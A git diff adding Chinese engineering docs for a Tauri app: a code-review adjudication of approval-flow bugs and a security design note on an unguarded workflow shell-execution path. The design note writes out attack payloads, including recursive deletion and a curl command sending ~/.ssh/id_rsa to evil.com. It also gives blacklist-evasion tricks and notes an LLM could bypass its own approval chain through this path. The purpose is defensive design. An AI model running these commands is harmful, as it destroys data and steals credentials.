2. **①②(前端契约失配) 被头号遮蔽**: Request 没发 → 前端 `onEvent` 收不到 → type 匹配分支不可达。修 41 行后 ①② 才显形为 critical。
|
||||||
|
3. **当前 UI 无 human 节点 DAG 入口**: `demoDag` 仅 script 节点;AI 工具 `run_workflow` 返回提示不执行。审批相关 9 项发现现实触发率=0,全部潜伏。
|
||||||
|
4. **根因**: 审批功能前端从未端到端跑通(41 行 await 漏掉即铁证),单测绿但不覆盖 human→前端弹窗→审批→返回链路。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 0. 头号发现 [P0]
|
||||||
|
|
||||||
|
### 0.1 缺陷定位
|
||||||
|
|
||||||
|
`crates/df-nodes/src/human_node.rs:41-47`
|
||||||
|
```rust
|
||||||
|
let _ = ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest {
|
||||||
|
execution_id: ctx.execution_id.clone(),
|
||||||
|
node_id: ctx.node_id.clone(),
|
||||||
|
title: title.to_string(),
|
||||||
|
description: description.to_string(),
|
||||||
|
options: options.clone(),
|
||||||
|
}); // ← 无 .await
|
||||||
|
```
|
||||||
|
|
||||||
|
### 0.2 机制
|
||||||
|
|
||||||
|
- `EventBus::send` 签名 (`eventbus.rs:33`): `pub async fn send(&self, event: WorkflowEvent)` — async fn。
|
||||||
|
- `let _ = async_fn()` 求值得 Future,绑定 `_` 后语句结束立即 drop,**Future 零 poll**。
|
||||||
|
- async fn body (`self.sender.send(event)`) 仅在 Future 被 poll 时执行 → 此处永不执行 → Request 未进 broadcast channel。
|
||||||
|
|
||||||
|
### 0.3 对抗自检(排除假阳)
|
||||||
|
|
||||||
|
| 质疑 | 核实 |
|
||||||
|
|------|------|
|
||||||
|
| 测试为何 pass? | `normal_approval_returns_decision` 的 helper `send_response` 用 `send(...).await`(`human_node.rs:172` 有 await) 发的是 **Response**;HumanNode 的 Request 那行没 await。测试只断言 Response 被 rx 收到并返回 decision,**不验证 Request 是否发出**。绿测不能证伪。 |
|
||||||
|
| 编译器为何不报? | `let _ = expr` 合法通配符绑定;async fn 生成的 Future 默认无 `#[must_use]`,零 warning。 |
|
||||||
|
| 是否误用同步 fn? | `eventbus.rs:44` `emit_human_approval_request` 是同步 fn(返 Result),但 HumanNode 未用它,用的是 async `send`。 |
|
||||||
|
| 多代理为何漏? | 审查聚焦前端契约(①②)与串扰(③),未逐行核 HumanNode 内 send 调用点是否 await。主代理二轮读 human_node.rs 全文才发现。 |
|
||||||
|
|
||||||
|
### 0.4 触发路径
|
||||||
|
|
||||||
|
`human_node.rs:38 subscribe → :41 send(无await)` → Request 未发 → `workflow.rs` 转发任务 rx 收不到 → 前端 `onEvent` 不触发 `HumanApprovalRequest` 分支 → `pendingApproval` 恒 null → 弹窗不开 → HumanNode `select!` 阻塞至 `:86 sleep_until(deadline)` 默认 3600s 超时 → Err → 工作流 failed。
|
||||||
|
|
||||||
|
### 0.5 修复
|
||||||
|
|
||||||
|
```diff
|
||||||
|
- let _ = ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest { ... });
|
||||||
|
+ ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest { ... }).await;
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 反转结论
|
||||||
|
|
||||||
|
### 1.1 ①② 被头号遮蔽(降级: 当前不可达)
|
||||||
|
|
||||||
|
- ① `project.ts:214` `payload.event?.type === 'HumanApprovalRequest'`(大驼峰)vs 后端 `events.rs:18` `#[serde(tag="type", rename_all="snake_case")]` → 序列化值 `'human_approval_request'`,永不匹配。
|
||||||
|
- ② `project.ts:215` `payload.event.data` —— event 是 `WorkflowEvent` 本体扁平结构(`{type, execution_id, node_id, title, description, options}`),无 `data` 包装层 → undefined。
|
||||||
|
- 两者代码层面确凿,但 Request 未发(§0 遮蔽) → 前端收不到事件 → 分支不可达。**修 41 行后 ①② 立即变 critical**。
|
||||||
|
|
||||||
|
### 1.2 当前 UI 无 human 节点入口(多数发现现实触发率=0)
|
||||||
|
|
||||||
|
| 证据 | 位置 |
|
||||||
|
|------|------|
|
||||||
|
| 前端唯一 DAG = demoDag,仅 3 个 script 节点 | `ProjectDetail.vue:271-273` |
|
||||||
|
| AI 工具 run_workflow 返回提示不执行 DAG | `tool_registry.rs:346-350` |
|
||||||
|
| runDemoWorkflow 按钮 disabled=workflowRunning 防重入 | `ProjectDetail.vue:281-289` |
|
||||||
|
|
||||||
|
→ 审批相关发现(①②④⑤⑦⑧⑨⑩)全部潜伏在未接入路径。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 逐条对抗裁定
|
||||||
|
|
||||||
|
| # | 定位 | 存在性(代码层) | 现实可达性 | 危害校正 | 裁定 |
|
||||||
|
|---|------|---------------|-----------|---------|------|
|
||||||
|
| **0** | human_node.rs:41 | 确凿 缺await | human DAG 运行即必现,UI 无入口 | Request 不发,链最上游断 | **真·潜伏头号 P0** |
|
||||||
|
| ① | project.ts:214 | 确凿 snake_case | 被0遮蔽+无human入口 | 潜伏,修0后才显形 | 降级: 当前不可达 |
|
||||||
|
| ② | project.ts:215 | 确凿 flat无data | 同① 双重遮蔽 | 潜伏 | 降级: 同① |
|
||||||
|
| ③ | workflow.rs:67-97 | 确凿 全局bus+Node*无exec_id+matches!只看变体 | 需并发工作流,UI防重入+AI不执行 | 审批路由不坏(Request自带exec_id),仅日志串扰+提前break | 真实架构缺陷,现实触发0;危害被夸大 |
|
||||||
|
| ④ | project.ts:15-21 | 确凿 单槽 | 三重遮蔽(0+无入口+单流) | 潜伏 | 真实,潜伏 |
|
||||||
|
| ⑤ | project.ts:208-261 | 确凿 无终态监听 | 同④;"稍后"按钮可视觉关 | UX退化非卡死 | 真实,危害偏低 |
|
||||||
|
| ⑥ | state.rs:106 | 确凿 直接insert | 需⑦竞态命中 | snapshot()零调用方(死代码),DB不受影响 | **真实但无害** |
|
||||||
|
| ⑦ | project.ts:228 | 确凿 无互斥 | 需0+①②+入口全通+双击+500ms窗口 | 窄窗口 | 真实,潜伏 |
|
||||||
|
| ⑧ | workflow.rs:171 | 确凿 无校验(对比cancel有registry守卫) | 需human+超时窗口 | 诊断损失非功能损坏 | 真实,潜伏 |
|
||||||
|
| ⑨ | human_node.rs:73-81 | 确凿 warn+continue | 需256积压;当前无节点发NodeProgress,每节点≤2事件,需128+并发节点 | 概率近0 | 真实,当前不可达 |
|
||||||
|
| ⑩ | workflow.rs:91-97 | 确凿 Lagged+Closed死代码(bus持于AppState全程) | 同⑨ 需256积压 | DB终态仍正确,仅task泄漏 | 真实,当前不可达 |
|
||||||
|
| ⑪ | workflow.rs:140 | 确凿 String::new() | demoDag失败即触发 | 低危: error字段含first_err.context"节点X失败",failed_node冗余空 | **真实且当前可达,危害低** |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 根因
|
||||||
|
|
||||||
|
审批功能前端从未端到端验证。证据链:
|
||||||
|
|
||||||
|
1. `B-260614-03a` 重写 HumanNode `execute`(subscribe→send→select!) 时引入 `:41` await 缺失,7 单测全绿未抓(单测不覆盖 Request 发出)。
|
||||||
|
2. 前端无 human 节点 DAG 入口,无任何集成测试覆盖 human→弹窗→审批→返回链路。
|
||||||
|
3. ①② 是前后端契约层断裂,`types.ts:127` `event.type: string` 弱类型无编译期拦截。
|
||||||
|
|
||||||
|
→ 单测绿 + 无端到端测试 = 这批潜伏 bug 的存活土壤。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 修复优先级
|
||||||
|
|
||||||
|
| 序 | 动作 | 优先级 | 依赖 | 会暴露 |
|
||||||
|
|---|------|--------|------|--------|
|
||||||
|
| 1 | 补 human 节点端到端集成测试(含human的DAG→运行→断言前端收到Request+弹窗开) | P0 | 无 | 0+①+② |
|
||||||
|
| 2 | human_node.rs:41 加 .await | P0 | 测试暴露后修 | — |
|
||||||
|
| 3 | project.ts:214 type→snake_case; :215 取 event 本体字段; types.ts event.type 收窄字面量联合 | P0(修2后) | 2 | — |
|
||||||
|
| 4 | ③ Node*事件补 execution_id + 转发过滤 | P2 | 并发工作流时 | — |
|
||||||
|
| 5 | ④⑤ pendingApproval 改 Map + 终态清空 | P2 | 2③后 | — |
|
||||||
|
| 6 | ⑥ set_cancelled 查终态 no-op | P3 | 无(无消费者零危害) | — |
|
||||||
|
| 7 | ⑦⑧⑨⑩⑪ | P2-P3 | 见§2 | — |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 附: 多代理 workflow 元数据
|
||||||
|
|
||||||
|
- 31 agents / 5 维度(concurrency / state-machine / error-handling / lifecycle / frontend-contract) × 对抗验证
|
||||||
|
- 26 原始发现 → 12 确认 / 11 反驳 / 3 验证代理因 API 限流未跑(主代理手动补判)
|
||||||
|
- 验证阶段正确识别 `executor.rs:124` 三条为 not-a-bug(B-03b-R1 已修,`:127` 有 is_cancelled guard + test_cancelled_node_skips_set_failed)
|
||||||
|
- 漏抓头号(§0): 因未核 send await,主代理二轮复核补
|
||||||
255
docs/02-架构设计/工作流脚本执行边界-2026-06-15.md
Normal file
255
docs/02-架构设计/工作流脚本执行边界-2026-06-15.md
Normal file
@@ -0,0 +1,255 @@
|
|||||||
|
# 工作流脚本执行边界设计(R-PD-2)
|
||||||
|
|
||||||
|
> 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
|
||||||
|
> 日期:2026-06-15
|
||||||
|
> 状态:设计待核对(推荐方案已定,落地前需用户确认力度)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、问题:run_workflow IPC 经 ScriptNode 执行前端任意 shell(security P1)
|
||||||
|
|
||||||
|
### 1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径)
|
||||||
|
|
||||||
|
```
|
||||||
|
前端 runWorkflow(name, dag, config)
|
||||||
|
└─ invoke('run_workflow', { name, dag: DagDef, config }) ← IPC 边界,dag 为前端任意构造的 serde JSON
|
||||||
|
└─ src-tauri/commands/workflow.rs:36 run_workflow
|
||||||
|
├─ state.registry.build_dag(&dag) ← 仅校验节点类型已注册 + 边两端存在
|
||||||
|
└─ DagExecutor::new(...).run(&runtime_dag, config) ← 异步后台执行
|
||||||
|
└─ ScriptNode::execute(ctx) [crates/df-nodes/script_node.rs:11]
|
||||||
|
├─ command = ctx.config["command"] ← 原始字符串,无校验
|
||||||
|
└─ ShellRequest { command, working_dir, .. }
|
||||||
|
└─ df_execute::shell::execute [crates/df-execute/shell.rs:34]
|
||||||
|
├─ Windows: cmd /C <command>
|
||||||
|
└─ Unix: sh -c <command> ← 全 shell 解释器,含管道/重定向/通配
|
||||||
|
```
|
||||||
|
|
||||||
|
前端可提交任意 `DagDef`:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
// 等价攻击载荷(任一)
|
||||||
|
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
|
||||||
|
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
|
||||||
|
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }
|
||||||
|
```
|
||||||
|
|
||||||
|
`build_dag`(`crates/df-workflow/registry.rs:42`)只做两类校验:
|
||||||
|
1. `node_type` 已注册("script"/"human"/"ai")——攻击者用合法的 "script"
|
||||||
|
2. 边的 source/target 节点存在——单节点 DAG 无边,零约束通过
|
||||||
|
|
||||||
|
**对 `config.command` / `config.working_dir` 无任何校验**,直接落到 shell 解释器。
|
||||||
|
|
||||||
|
### 1.2 为何完全独立于 AI 工具 RiskLevel 审批链
|
||||||
|
|
||||||
|
DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂:
|
||||||
|
|
||||||
|
| 通路 | 入口 | 风控机制 | 审批位置 |
|
||||||
|
|------|------|---------|---------|
|
||||||
|
| **AI 工具调用**(LLM 驱动) | agentic loop → `AiToolRegistry` | `RiskLevel::{Low, Medium, High}` | `audit.rs:265-271`:Medium/High 写入 `AiSession.pending_approvals`,前端 ToolCard 阻塞审批 |
|
||||||
|
| **工作流执行**(前端直接驱动) | `run_workflow` IPC → DagDef | **无** | DagDef 无 RiskLevel 字段,ScriptNode 不查 pending_approvals |
|
||||||
|
|
||||||
|
关键不对称点:
|
||||||
|
- AI 工具调 shell 走 `execute_command`(tool_registry.rs),**RiskLevel::High + 审批**
|
||||||
|
- 工作流 ScriptNode 调 shell 走 `df_execute::shell::execute`,**零风控**
|
||||||
|
- 两条通路最终都落到同款 `cmd /C | sh -c`,但前者有闸门、后者无闸门
|
||||||
|
|
||||||
|
更隐蔽的二次风险:AI 工具 `run_workflow`(`tool_registry.rs:383-389`)本身是 RiskLevel::High 且**目前是 no-op 桩**(R-PD-12),LLM 即使调用也只拿到 `{ note: "请通过工作流页面运行" }`。但 **LLM 若未来引导用户提交特定 DagDef 到 `run_workflow` IPC**(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、现状
|
||||||
|
|
||||||
|
### 2.1 DagDef 前端构造,无后端校验
|
||||||
|
|
||||||
|
`DagDef`(`crates/df-workflow/dag_def.rs:7-11`)是纯数据结构:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct DagDef {
|
||||||
|
pub nodes: HashMap<String, NodeDef>, // node_type: String, config: serde_json::Value
|
||||||
|
pub edges: Vec<EdgeDef>,
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`run_workflow`(`workflow.rs:36`)收 `dag: DagDef` 参数,Tauri 反序列化后直接 `build_dag`。前端唯一构造点是 `src/views/ProjectDetail.vue:258-268` 的 `demoDag`:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
const demoDag = {
|
||||||
|
nodes: [
|
||||||
|
{ id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
|
||||||
|
{ id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
|
||||||
|
{ id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
|
||||||
|
],
|
||||||
|
edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。**
|
||||||
|
|
||||||
|
### 2.2 ScriptNode 无约束
|
||||||
|
|
||||||
|
`crates/df-nodes/script_node.rs:11-42`:从 `config.command` 取原始串,原样塞 `ShellRequest.command`,`working_dir` 也原样透传。无白名单、无路径锚定、无审批查询。
|
||||||
|
|
||||||
|
### 2.3 shell 解释器全权委托
|
||||||
|
|
||||||
|
`crates/df-execute/shell.rs:37-45`:`cmd /C <command>` / `sh -c <command>`,命令字符串经完整 shell 解释器(管道、重定向、变量展开、通配、命令分隔符全开)。R-P1-2 已修 kill_on_drop(僵尸进程问题),但不影响安全边界。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、方案三选一详析
|
||||||
|
|
||||||
|
### 方案 ①:build_registry 不注册 "script",掐断节点类型(最安全最小)
|
||||||
|
|
||||||
|
**做法**:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)`。`build_dag` 遇到 `node_type=="script"` 走 `registry.rs:37` 的 `未注册的节点类型` 分支直接 bail。
|
||||||
|
|
||||||
|
**四维对比**:
|
||||||
|
|
||||||
|
| 维度 | 评价 |
|
||||||
|
|------|------|
|
||||||
|
| 安全性 | **最高**。攻击面从「任意 shell」直接归零,无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 |
|
||||||
|
| 功能性 | **演示功能报废**。`ProjectDetail.vue` demoDag 三步 echo 全部 `build_dag` 失败,`runDemoWorkflow` 报错。HumanNode/AiNode 不受影响(仍注册) |
|
||||||
|
| 改动面 | **最小**。1 处删除(state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线 |
|
||||||
|
| 误杀风险 | **零误杀**(无合法用户脚本可误杀)。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策 |
|
||||||
|
|
||||||
|
### 方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批
|
||||||
|
|
||||||
|
**做法**:
|
||||||
|
- ScriptNode 执行前,校验 `working_dir`(默认取 NodeContext 的项目 path)必须 `canonicalize()` 后落在某已绑定项目根下(防 `../` 逃逸)
|
||||||
|
- 命令前缀扫描:`del /`、`rm -rf`、`curl`、`wget`、`> /dev/`、`mkfs`、`format` 等命中 → 改走 HumanNode 审批流程(emit `HumanApprovalRequest`,复用现有 `approve_human_approval` IPC)
|
||||||
|
|
||||||
|
**四维对比**:
|
||||||
|
|
||||||
|
| 维度 | 评价 |
|
||||||
|
|------|------|
|
||||||
|
| 安全性 | **中**。挡住工作目录外写、明显高危前缀。但**前缀黑名单天然不完备**:`curl` 可写成 `c""url`、`$(curl)`、`cu"+"rl`、PowerShell 别名 `iwr`;管道注入 `echo x; rm -rf /`;环境变量展开 `$EVIL`。攻击者绕过黑名单的成本远低于维护黑名单的成本 |
|
||||||
|
| 功能性 | **保留构建脚本能力**(未来真要跑 `npm run build` / `mvn package` 可用),且高危操作有审批兜底 |
|
||||||
|
| 改动面 | **大**。ScriptNode 加路径校验(canonicalize + starts_with)+ 黑名单扫描 + 审批注入逻辑(ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response,复用 human_node.rs 的 select! 模式,~80 行) |
|
||||||
|
| 误杀风险 | **高且无解**。合法 `npm run deploy` 含 "deploy" 不命中黑名单但实际可能外发;合法 `git clean -fd` 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点 |
|
||||||
|
|
||||||
|
### 方案 ③:ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤
|
||||||
|
|
||||||
|
**做法**:定义允许的命令前缀(`npm`、`git`、`mvn`、`cargo`、`echo`、`node` 等),命令必须以白名单前缀开头;参数层过滤 `;`、`&&`、`|`、`$()`、反引号等 shell 元字符。
|
||||||
|
|
||||||
|
**四维对比**:
|
||||||
|
|
||||||
|
| 维度 | 评价 |
|
||||||
|
|------|------|
|
||||||
|
| 安全性 | **中高**。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,**已知是不可解问题**(参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(`git push`、`npm publish`、`cargo run -- <任意>`) |
|
||||||
|
| 功能性 | **受限**。只能跑白名单内的命令族,`echo` 演示能保,但任意 shell 管道/组合命令报废 |
|
||||||
|
| 改动面 | **中**。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer(~50 行,且 sanitizer 难写对) |
|
||||||
|
| 误杀风险 | **高**。合法 `npm run build && npm run test` 被 `&&` 过滤误杀;合法 `git log --grep="feat | fix"` 被管道符误杀 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线
|
||||||
|
|
||||||
|
### 4.1 推荐 + 理由
|
||||||
|
|
||||||
|
**推荐方案 ①**:删除 `src-tauri/src/state.rs:227-229` 的 "script" 注册,同步下线 `ProjectDetail.vue` 的 demoDag(或改用 "human" 节点演示审批流)。
|
||||||
|
|
||||||
|
**核心取舍**:DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag,无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是**不完备的运行时博弈**——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。
|
||||||
|
|
||||||
|
**触发升力的条件**:若未来 DevFlow 要把工作流做成真实 CI/CD(跑项目构建/部署脚本),此时**不应回头启用 ScriptNode + 加黑名单**,而应**新建一个独立的安全执行节点**(如 `BuildNode`),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说,方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。
|
||||||
|
|
||||||
|
### 4.2 改动面(具体函数 + 行号)
|
||||||
|
|
||||||
|
**后端(必须)**:
|
||||||
|
|
||||||
|
`src-tauri/src/state.rs:225-237` `build_registry`,删除 script 注册:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// 改前
|
||||||
|
fn build_registry() -> NodeRegistry {
|
||||||
|
let mut registry = NodeRegistry::new();
|
||||||
|
registry.register("script", |_config| {
|
||||||
|
Box::new(df_nodes::script_node::ScriptNode)
|
||||||
|
});
|
||||||
|
registry.register("human", |_config| { ... });
|
||||||
|
registry.register("ai", |_config| { ... });
|
||||||
|
registry
|
||||||
|
}
|
||||||
|
|
||||||
|
// 改后
|
||||||
|
fn build_registry() -> NodeRegistry {
|
||||||
|
let mut registry = NodeRegistry::new();
|
||||||
|
// "script" 节点不注册:ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串,
|
||||||
|
// 前端可构造任意 DagDef 触达无审批 shell(R-PD-2)。DevFlow 工作流当前为纯演示
|
||||||
|
// 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo),无真实构建/部署脚本
|
||||||
|
// 需求。需要脚本执行能力时新建独立 BuildNode(白名单 + 项目目录锚定 + 复用 AI 工具
|
||||||
|
// RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。
|
||||||
|
registry.register("human", |_config| { ... });
|
||||||
|
registry.register("ai", |_config| { ... });
|
||||||
|
registry
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
效果:`run_workflow` 提交含 `node_type=="script"` 的 DagDef 时,`build_dag` → `registry.create` 走 `registry.rs:37` 的 `未注册的节点类型: script` bail,IPC 直接返 Err,不入库、不进后台执行。
|
||||||
|
|
||||||
|
**前端(必须,否则 demoDag 触发 build_dag 失败报错)**:
|
||||||
|
|
||||||
|
`src/views/ProjectDetail.vue:258-278`,二选一:
|
||||||
|
- **a) 下线 demoDag**:删除 `demoDag` 常量 + `runDemoWorkflow` 函数 + 模板中的「运行演示工作流」按钮(最干净)
|
||||||
|
- **b) 改 human 节点演示**:demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力
|
||||||
|
|
||||||
|
推荐 a(工作流演示能力本就单薄,移除比换内容更诚实;待真实工作流需求落地时一并重做)。
|
||||||
|
|
||||||
|
**保留不删**:
|
||||||
|
- `crates/df-nodes/script_node.rs` 文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其 `df_execute::shell::execute` 调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry,见 R-PD-2 设计文档」
|
||||||
|
- `crates/df-execute/shell.rs` 完全保留(R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用)
|
||||||
|
|
||||||
|
### 4.3 改动量与风险评级
|
||||||
|
|
||||||
|
- 后端:3 行删除 + 1 段注释
|
||||||
|
- 前端:~25 行删除(demoDag + runDemoWorkflow + 按钮)
|
||||||
|
- 风险:**极低**。功能面仅损失演示能力(本就单薄),无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回(registry.rs:37),前端 IPC 拿到 Err 正常展示。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、风险与未决
|
||||||
|
|
||||||
|
### 5.1 本方案(①)的风险
|
||||||
|
|
||||||
|
| 风险 | 评估 |
|
||||||
|
|------|------|
|
||||||
|
| 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示 |
|
||||||
|
| 未来需要脚本能力时回头启用 ScriptNode | **决策点**:见 §4.1,明确「新建 BuildNode,不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定 |
|
||||||
|
| ScriptNode 死代码残留引发误解 | 中。需在 `script_node.rs` 顶部加注释指回本文档(已在 §4.2 列入改动面) |
|
||||||
|
|
||||||
|
### 5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开)
|
||||||
|
|
||||||
|
- **白名单/黑名单误杀合法构建命令**:`npm run deploy && git push` 这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见)
|
||||||
|
- **工作目录 canonicalize 逃逸**:Windows 上 `\\?\C:\` 短路径、符号链接、junction、UNC 路径(`\\server\share`)均可绕过 `Path::starts_with`;Unix 上 `~/`、`/proc/self/root` 逃逸。canonicalize 只解析 symlink,不挡 mount boundary
|
||||||
|
- **审批链与 workflow 异步语义结合**:ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发 `HumanApprovalRequest` + select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做(HumanNode 已踩过 TOCTOU 坑 R-P1-3,再踩一遍成本高)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、关联
|
||||||
|
|
||||||
|
### 6.1 与 R-PD-12(run_workflow AI 工具 no-op 桩)的协同
|
||||||
|
|
||||||
|
R-PD-12 处理 AI 工具 `run_workflow`(`tool_registry.rs:383-389`):当前 RiskLevel::High + no-op 返 `{ note: "请通过工作流页面运行" }`,前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。
|
||||||
|
|
||||||
|
**协同关系**:
|
||||||
|
- 本方案(R-PD-2)先把 workflow 系统的 shell 边界封死(掐断 ScriptNode),R-PD-12 再决定 AI 工具 `run_workflow` 的去留才安全
|
||||||
|
- 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef,此时 workflow 边界必须先就位(即本方案先行)
|
||||||
|
- 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合
|
||||||
|
- **顺序约束:R-PD-2 先于 R-PD-12 落地**(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道
|
||||||
|
|
||||||
|
### 6.2 与 shell.rs R-P1-2(kill_on_drop)的关系
|
||||||
|
|
||||||
|
R-P1-2(已修)解决的是 `shell::execute` 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。
|
||||||
|
|
||||||
|
- 两者正交:R-P1-2 让被允许执行的 shell 更可靠,R-PD-2 让不该执行的 shell 根本不执行
|
||||||
|
- R-P1-2 已落地的 `kill_on_drop(true) + spawn + wait_with_output` 在本方案后**保留不变**(shell.rs 完全不动,未来 BuildNode 复用)
|
||||||
|
- 即使本方案掐断 ScriptNode,shell.rs 的修复仍有价值:BuildNode 未来会调它,且修复本身是独立可靠性提升
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、落地动作清单
|
||||||
|
|
||||||
|
- [ ] 后端:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)` + 加决策注释
|
||||||
|
- [ ] 后端:`crates/df-nodes/script_node.rs` 顶部加注释「当前未注册到 NodeRegistry,见 docs/02-架构设计/工作流脚本执行边界-2026-06-15.md」
|
||||||
|
- [ ] 前端:`src/views/ProjectDetail.vue` 下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a)
|
||||||
|
- [ ] 文档:本设计文档归档到 `docs/02-架构设计/`
|
||||||
|
- [ ] 决策记录:补一条功能决策记录(ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径)
|
||||||
|
- [ ] todo:R-PD-12 标注「依赖 R-PD-2 先落地」
|
||||||
|
- [ ] 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路
|
||||||
@@ -24,10 +24,10 @@
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `PROGRESS.md`(根级) | 工作流水:Sprint 做了啥 / 遗留 / 下一步 | 决策原因、实现细节、需求规格 |
|
| `PROGRESS.md`(根级) | 工作流水:Sprint 做了啥 / 遗留 / 下一步 | 决策原因、实现细节、需求规格 |
|
||||||
| `ARCHITECTURE.md` | 系统架构全貌:crate 结构 / 数据模型 / Phase 规划 | 功能点取舍、Sprint 流水 |
|
| `ARCHITECTURE.md` | 系统架构全貌:crate 结构 / 数据模型 / Phase 规划 | 功能点取舍、Sprint 流水 |
|
||||||
| `02-架构设计/Phase1架构决策.md` | 架构级选型(ADR,系统级) | 功能实现层取舍 |
|
| `02-架构设计/Phase1架构决策-2026-06-12.md` | 架构级选型(ADR,系统级) | 功能实现层取舍 |
|
||||||
| `02-架构设计/功能决策记录.md` | 功能**需求规格 + 设计决策规格**(为什么这么定 + 要做什么) | 流水、架构级选型、经验性内容 |
|
| `02-架构设计/功能决策记录-2026-06-14.md` | 功能**需求规格 + 设计决策规格**(为什么这么定 + 要做什么) | 流水、架构级选型、经验性内容 |
|
||||||
| `02-架构设计/经验记录.md` | 经验性内容(踩坑/约定/技巧/bug 排查教训) | 决策、需求、流水 |
|
| `02-架构设计/经验记录-2026-06-14.md` | 经验性内容(踩坑/约定/技巧/bug 排查教训) | 决策、需求、流水 |
|
||||||
